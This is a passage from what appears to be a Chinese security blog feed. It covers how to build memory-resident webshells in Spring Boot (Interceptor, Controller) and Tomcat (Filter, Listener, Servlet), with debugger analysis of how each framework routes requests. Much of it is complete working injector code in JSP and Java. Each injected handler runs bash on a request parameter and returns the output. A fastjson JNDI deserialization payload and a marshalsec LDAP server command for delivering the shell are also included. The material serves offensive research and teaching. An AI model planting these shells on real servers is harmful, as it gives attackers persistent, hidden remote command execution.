"autoCommit":true
}
}

注入成功

image

分析

在任意controller下断点分析springboot的处理流程可以看到这里和tomcat的处理流程很像

image

在经过 Filter 层面处理后,就会进入熟悉的 spring-webmvc 组件 org.springframework.web.servlet.DispatcherServlet 类的 doDispatch 方法中

image

调用getHandler方法,跟进,可以看到是遍历this.handlerMappings 这个迭代器中的mappergetHandler 方法处理Http中的request请求

image

继续追踪,最终会调用到org.springframework.web.servlet.handler.AbstractHandlerMapping 类的 getHandler 方法,并通过 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 类的实例

image

继续跟进getHandlerExecutionChain 方法,会遍历 this.adaptedInterceptors 对象里所有的 HandlerInterceptor 类实例,通过 chain.addInterceptor 把已有的所有拦截器加入到需要返回的 HandlerExecutionChain 类实例中

image

回到org.springframework.web.servlet.DispatcherServlet 类的 doDispatch 方法中,调用applyPreHandle方法

image

这里AbstractHandlerMapping 类的applyPreHandle方法,会遍历拦截器,并执行其preHandle方法

image

之后的话看整体逻辑,执行了handler之后才会执行到controller,即Interceptor在controller之前

image

如果程序提前在调用的 Controller 上设置了 Aspect(切面),那么在正式调用 Controller 前实际上会先调用切面的代码,一定程度上也起到了 “拦截” 的效果

那么总结一下,一个 request 发送到 spring 应用,大概会经过以下几个层面才会到达处理业务逻辑的 Controller 层:

Text
1
HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller

由上面的分析,会遍历 this.adaptedInterceptors 对象里所有的 HandlerInterceptor 类实例,通过 chain.addInterceptor 把已有的所有拦截器加入到需要返回的 HandlerExecutionChain 类实例中

HandlerInterceptor 这个接口要求实现preHandle函数,Interceptor 最后的处理也是调用preHandle函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.springframework.web.servlet;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.lang.Nullable;

public interface HandlerInterceptor {
default boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
return true;
}

default void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, @Nullable ModelAndView modelAndView) throws Exception {
}

default void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, @Nullable Exception ex) throws Exception {
}
}

可以通过context.getBean(“org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping”)获取该对象,再反射获取其中的adaptedInterceptors属性,并添加恶意interceptor实例对象即可完成内存马的注入

Controller Memory Shell

实例

创建恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class InjectToController {
public InjectToController() throws Exception{
// 关于获取Context的方式有多种
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
// 通过反射获得该类的test方法
Method method2 = InjectToController.class.getMethod("test");
// 定义该controller的path
PatternsRequestCondition url = new PatternsRequestCondition("/str3am");
// 定义允许访问的HTTP方法
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 构造注册信息
//RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
Class<?> class1 = Class.forName("org.springframework.web.servlet.mvc.method.RequestMappingInfo");
System.out.println("Get RequestMappingInfo Success!");
RequestMappingInfo info = (RequestMappingInfo)class1.getDeclaredConstructor(PatternsRequestCondition.class, RequestMethodsRequestCondition.class, ParamsRequestCondition.class, HeadersRequestCondition.class, ConsumesRequestCondition.class, ProducesRequestCondition.class, RequestCondition.class).newInstance(url,ms,null,null,null,null,null);
// 创建用于处理请求的对象,避免无限循环使用另一个构造方法
InjectToController injectToController = new InjectToController("aaa");
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}

private InjectToController(String aaa) {
}

public void test() throws IOException {
// 获取请求
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
// 获取请求的参数cmd并执行
// 类似于PHP的system($_GET["cmd"])
//Runtime.getRuntime().exec(request.getParameter("cmd"));
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",request.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
PrintWriter writer = response.getWriter();
writer.write(new String(bytes,0,len));
writer.flush();
writer.close();
process.destroy();
}

}

启动恶意LDAP服务,在8090开启web服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#InjectToController

直接向vuln路由打fastjson payload,注入controller内存马

1
2
3
4
5
6
7
8
9
10
11
content={
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1389/#InjectToController",
"autoCommit":true
}
}

注入成功

image

分析

controller处理是在interceptor之后,注入恶意controller也可以达到效果

这里controller具体的调度过程不再分析,注入的流程大体为从context获取到mappingHandlerMapping对象,创建恶意的RequestMappingInfo实例,然后调用mappingHandlerMapping的mappingHandlerMapping注册即可

尝试在springboot 2.6.0之后复现,成功注入内存马,但是访问的时候报错

java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".

查了一下发现在springboot 2.6.0之后不能有自定义注册RequestMapping的逻辑,应该也是为了防御内存马,除了添加配置目前没有找到比较好的解决方法

https://liuyanzhao.com/1503010911382802434.html

https://blog.csdn.net/maple_son/article/details/122572869

获取Context方法

来自landgrey师傅分享

  1. getCurrentWebApplicationContext
1
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

springboot 2.5.13测试获取失败

  1. WebApplicationContextUtils
1
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

springboot 2.5.13测试获取失败,org.springframework.web.servlet.support.RequestContextUtils 没有getWebApplicationContext方法

image

  1. RequestContextUtils
1
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

springboot 2.5.13测试获取失败,org.springframework.web.servlet.support.RequestContextUtils 没有getWebApplicationContext方法

  1. getAttribute
1
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

springboot 2.5.13测试成功

image

  1. LiveBeansView
1
2
3
4
5
6
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

springboot 2.5.13测试成功

因为applicationContexts,使用了 private static final 修饰符,所以可以直接反射获取属性值,反射的get函数传入任何对象都是可以的,包括null

值得注意的是,因为 org.springframework.context.support.LiveBeansView 类在 spring-context 3.2.x 版本(现在最新版本是 5.3.x)才加入其中,所以比较低版本的 spring 无法通过此方法获得 ApplicationContext 的实例

注册Controller方法

我在springboot 2.5.14和2.6.0测试只有第一种方法能够成功注册,2.6.0能成功注册但是访问的时候报错,其他在测试的时候因为context缺少getBeanFactory方法失败

  1. registerMapping
1
2
3
4
5
6
7
8
9
10
11
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);
  1. registerHandler
1
2
3
4
5
6
7
8
9
// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");
  1. detectHandlerMethods
1
2
3
4
5
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");

Refferences

]]>
<h2 id="Interceptor-Memory-Shell"><a href="#Interceptor-Memory-Shell" class="headerlink" title="Interceptor Memory Shell"></a>Interceptor Memory Shell</h2><h3 id="实例"><a href="#实例" class="headerlink" title="实例"></a>实例</h3><p>JDK 1.8.0_20,采用FastJson 1.2.47的RCE来创造反序列化漏洞利用点</p> <p>创建springboot项目</p> <p><img src="/2022/05/26/Java-09/9kJm5LG_ftZ8GMt5iJHY4At-xMh3DIlyi5d5EIiNJ80.png" alt="image"></p>
Tomcat Memory Shell https://jlkl.github.io/2022/05/26/Java-08/ 2022-05-26T01:33:21.000Z 2022-05-26T01:48:11.830Z TL;DR

本系列主要是补以前落下的知识,参考了很多大师傅的文章,非常感谢师傅们的分享

Filter Memory Shell

实例

我这里使用的是idea 2021.2,maven quickstart

image

右键项目,Add Framework Support

image

然后配置tomcat,选择Run->Edit Configuration->左上角加号->Tomcat Server(注意不是TomEE)->Local

image

选择第二个选项卡Deployment->右边的加号->选择Artifact,然后启动tomcat即可

image

project structure,把tomcat的lib加到libraries里,方便后面调试

image

添加addfilter.jsp,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>

<!-- tomcat 8/9 -->
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef" %>

<!-- tomcat 7 -->
<%--<%@ page import = "org.apache.catalina.deploy.FilterMap" %>--%>
<%--<%@ page import = "org.apache.catalina.deploy.FilterDef" %>--%>


<%@ page import = "javax.servlet.*" %>
<%@ page import = "javax.servlet.annotation.WebServlet" %>
<%@ page import = "javax.servlet.http.HttpServlet" %>
<%@ page import = "javax.servlet.http.HttpServletRequest" %>
<%@ page import = "javax.servlet.http.HttpServletResponse" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.lang.reflect.InvocationTargetException" %>
<%@ page import = "java.util.Map" %>


<!-- 1 revise the import class with correct tomcat version -->
<!-- 2 request this jsp file -->
<!-- 3 request xxxx/this file/../abcd?cmdc=calc -->

<%
class DefaultFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
if (req.getParameter("cmd") != null) {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {}
}
%>


<%
String name = "DefaultFilter";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
DefaultFilter filter = new DefaultFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/str3am");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
out.write("Inject success!");
}
else{
out.write("Injected");
}
%>

启动tomcat后访问addfilter.jsp,注入内存马成功

image

隐藏内存马访问日志记录可以参考这篇:Tomcat容器攻防笔记之隐匿行踪 - 安全客

分析

创建一个简单的filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;

@WebFilter(filterName = "Filter")
public class MyFilter implements Filter {
public void init(FilterConfig config) throws ServletException {
System.out.println("Filter 创建");
}

public void destroy() {
System.out.println("销毁!");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
System.out.println("执行过滤过程");
chain.doFilter(request, response);
}
}

配置web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>myFilter</filter-name>
<filter-class>org.example.MyFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>myFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>

也可以使用标记声明

1
2
3
4
5
@WebFilter(filterName = "CharsetFilter",
urlPatterns = "/*",/*通配符(*)表示对所有的web资源进行拦截*/
initParams = {
@WebInitParam(name = "charset", value = "utf-8")/*这里可以放一些初始化的参数*/
})

访问任意路径的时候会执行doFilter方法

image

众所周知,filter是一个链式调用,跟一下filterChain的生成

org.apache.catalina.core.ApplicationFilterFactory#createFilterChain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
...
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}

String servletName = wrapper.getName();

int i;
ApplicationFilterConfig filterConfig;
for(i = 0; i < filterMaps.length; ++i) {
if (matchDispatcher(filterMaps[i], dispatcher) && matchFiltersURL(filterMaps[i], requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}

for(i = 0; i < filterMaps.length; ++i) {
if (matchDispatcher(filterMaps[i], dispatcher) && matchFiltersServlet(filterMaps[i], servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}

return filterChain;
} else {
return filterChain;
}
}
...

这里涉及三个对象,可以参考师傅的文章:JSP Webshell那些事 – 攻击篇(下)

总结下来:

filterDefs存放了filter的定义,比如名称跟对应的类

filterConfigs除了存放了filterDef还保存了当时的Context

FilterMaps则对应了web.xml中配置的<filter-mapping>,里面代表了各个filter之间的调用顺序

image

filterChain的生成即遍历FilterMaps ,判断当前请求的servlet或者requestpath是否满足filerMaps限制的范围,如果满足则filterChain添加对应的filterConfigs

接下来继续跟doFilter方法

 org.apache.catalina.core.ApplicationFilterChain#doFilter

image

Globals.IS_SECURITY_ENABLED 默认为false,交由internalDoFilter处理

image

try中取出filter,然后调用其doFilter方法

image

最后一个filter的doFilter方法将调用servlet.service

概述地说, FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter() 方法中调用的FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。

根据之前的代码filterconfig和filtermaps是从context里面获取,context的取值获取

org.apache.catalina.core.ApplicationFilterFactory

image

context实际对应这个类

org.apache.catalina.core.StandardContext

有几个比较重要的函数:

  • StandardContext.addFilterDef()可以添加filterRefs

  • StandardContext.addFilterMap()可以添加filtermap

那么Filter类型内存马的创建可以总结为如下步骤:

  1. 获取context
  2. 创建一个恶意Filter,并将其封装成 FilterDef
  3. 添加FilterDef和filterConfigs

获取context

当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context

1
2
3
4
5
6
7
8
9
ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);

创建一个恶意Filter,并将其封装成 FilterDef

1
2
3
4
5
DefaultFilter filter = new DefaultFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);

添加FilterDef和filterConfigs

1
2
3
4
5
6
7
8
9
10
11
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/str3am");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);

Listener Memory Shell

实例

addlistener.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<!-- 1、exec this-->
<!-- 2、request any url with a parameter of "shell" -->

<%
class S implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
if(request.getParameter("shell") != null){
try {
// Runtime.getRuntime().exec(request.getParameter("shell"));
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",request.getParameter("shell")).start();
int len = process.getInputStream().read(bytes);
response.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
} catch (IOException e) {}
}
}
}
%>

<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
out.println("inject success");
S servletRequestListener = new S();
standardContext.addApplicationEventListener(servletRequestListener);
%>
<!-- 1、exec this-->
<!-- 2、request any url with a parameter of "shell" -->

访问addlistener.jsp注入内存马即可

image

分析

Tomcat对于加载优先级是 listener -> filter -> servlet

Listener分为以下几种:

  • ServletContext,服务器启动和终止时触发
  • Session,有关Session操作时触发
  • Request,访问服务时触发

前两种的触发方式都不适合作为内存Webshell

在应用中可能调用的监听器如下:

  • ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
  • ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
  • ServletRequestListener:对 Request 请求进行监听(创建、销毁)
  • ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
  • javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
  • javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

关注ServletRequestListener,访问任意资源的时候,都会触发requestInitialized方法

javax.servlet.ServletRequestListener

image

这里ServletRequestEvent类型,可以通过其getServletRequest获取当前request对象,当然也可以直接使用request代表

image

获取context后直接addApplicationEventListener添加listener即可

创建listener内存马步骤:

  1. 获取context
  2. 创建恶意Listener
  3. context添加恶意Listener到ApplicationEventListener中

Serlvet Memory Shell

实例

addservlet.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.annotation.WebServlet"%>
<%@ page import = "javax.servlet.http.HttpServlet"%>
<%@ page import = "javax.servlet.http.HttpServletRequest"%>
<%@ page import = "javax.servlet.http.HttpServletResponse"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>


<!-- 1 request this file -->
<!-- 2 request thisfile/../evilpage?cmd=calc -->


<%
class EvilServlet implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {} public ServletConfig getServletConfig() {return null;}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
HttpServletRequest request1 = (HttpServletRequest) req;
HttpServletResponse response1 = (HttpServletResponse) res;
if (request1.getParameter("cmd") != null){
// Runtime.getRuntime().exec(request1.getParameter("cmd"));
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",request1.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
response.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
else{
response1.sendError(HttpServletResponse.SC_NOT_FOUND);
}
}
}
%>


<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
EvilServlet evilServlet = new EvilServlet();
org.apache.catalina.Wrapper evilWrapper = standardContext.createWrapper();
evilWrapper.setName("str3am");
evilWrapper.setLoadOnStartup(1);
evilWrapper.setServlet(evilServlet);
evilWrapper.setServletClass(evilServlet.getClass().getName());
standardContext.addChild(evilWrapper);
standardContext.addServletMappingDecoded("/str3am", "str3am");
out.println("动态注入servlet成功");
%>

image

分析

创建一个普通的servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;

@WebServlet(name = "TestServlet", value = "/TestServlet")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.getWriter().write("hello");
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

}
}

此时context的状态,可以看到我们的servlet被添加到了children中,对应的是使用StandardWrapper这个类进行封装

image

一个child对应一个封装了Servlet的StandardWrapper对象,其中有servlet的名字跟对应的类

类似FilterMaps,servlet也有对应的servletMappings,记录了urlParttern跟所对应的servlet的关系

综上所述,Servlet型内存Webshell的主要步骤如下:

  1. 获取context
  2. 创建恶意Servlet
  3. 用Wrapper对其进行封装
  4. 添加封装后的恶意Wrapper到StandardContext的children当中
  5. 添加ServletMapping将访问的URL和Servlet进行绑定

获取StandardContext方法

  1. 有request对象,由ServletContext转StandardContext
1
2
3
4
5
6
7
ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
  1. 从ThreadLocal获取request

这个方法来自于threedr3am师傅的文章,详细过程就不展开了,看文章即可。获取request之后,就可以获得StandardContext了,这种方法可以兼容tomcat 789,但在Tomcat 6下无法使用

  1. 从ContextClassLoader获取

由于Tomcat处理请求的线程中,存在ContextLoader对象,而这个对象又保存了StandardContext对象,所以很方便就获取了,只可用于Tomcat 8 9

1
2
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
  1. 从MBean中获取
    Tomcat 使用 JMX MBean 来实现自身的性能管理。而我们可以从jmxMBeanServer对象,在其field中一步一步找到StandardContext对象。具体实现过程和代码,可见这篇文章,这种方法可以兼容Tomcat789,但有个很大的局限性在于,必须猜中项目名和host,才能获取到对应的standardContext对象
  2. Tomcat 6789全版本的StandardContext获取方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.catalina.core.StandardEngine"%>
<%@ page import="org.apache.catalina.core.StandardHost"%>
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.util.Iterator"%>

<%
class Tomcat6789 {
